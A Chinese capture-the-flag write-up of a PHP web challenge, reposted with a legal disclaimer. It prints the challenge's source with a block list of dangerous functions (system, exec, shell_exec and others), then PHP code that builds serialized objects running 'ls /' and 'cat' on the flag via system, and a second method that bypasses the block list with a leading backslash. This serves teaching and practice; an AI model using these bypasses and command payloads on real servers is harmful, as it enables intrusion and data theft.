[huayang]
方法一
懵逼吧,像这种能看见字的差不多就不用域名爆破了
并且这东西还一直在跳烦死了
日常抓包
date是一个函数,后面的p应该是它的参数
知道了可以传参
利用file_get_contents()参数我们可以把源代码调来
index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
"escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
);
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
我们审计一下发现禁用了我们常用的危险函数
绕过这里我们可以构建序列化
当unserialize函数的参数被用户控制时就会形成反序列化漏洞
首先我们先查看目录
<?php
class Test{
var $p = "ls /";
var $func = "system";
}
$c = new Test();#实例化对象
echo serialize($c);#序列化对象或数组,并返回一个字符串。
?>
发现flag用cat进行打开
<?php
class Test{
var $p = "cat /flag_977122963";
var $func = "system";
}
$c = new Test();#实例化对象
echo serialize($c);#序列化对象或数组,并返回一个字符串。
?>
方法二
我们审计过后发现还有一种捷径 \
因为它是通过黑名单绕反斜杠也会被当作一个字符
我们用system试一试
看来是可以的,直接获取flag
更深层次的讲解:https://www.bilibili.com/video/av838348304/
[/huayang]
FROM:浅浅淡淡[hellohy]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论